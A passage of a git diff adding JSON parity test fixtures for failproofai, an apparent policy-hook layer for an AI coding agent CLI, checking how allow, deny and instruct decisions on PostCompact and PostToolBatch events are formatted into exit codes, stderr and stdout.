"PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3f2172fc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d5478c16 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..729ec092 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..96cca7fe --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7b72532b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..498276f7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..65800786 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..349513d6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a6e259f3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..94287067 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..22fc78f9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7e16cf11 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..706e3e58 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0a4777ea --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..212662ce --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d414944b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f0b2c295 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..85863f65 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + 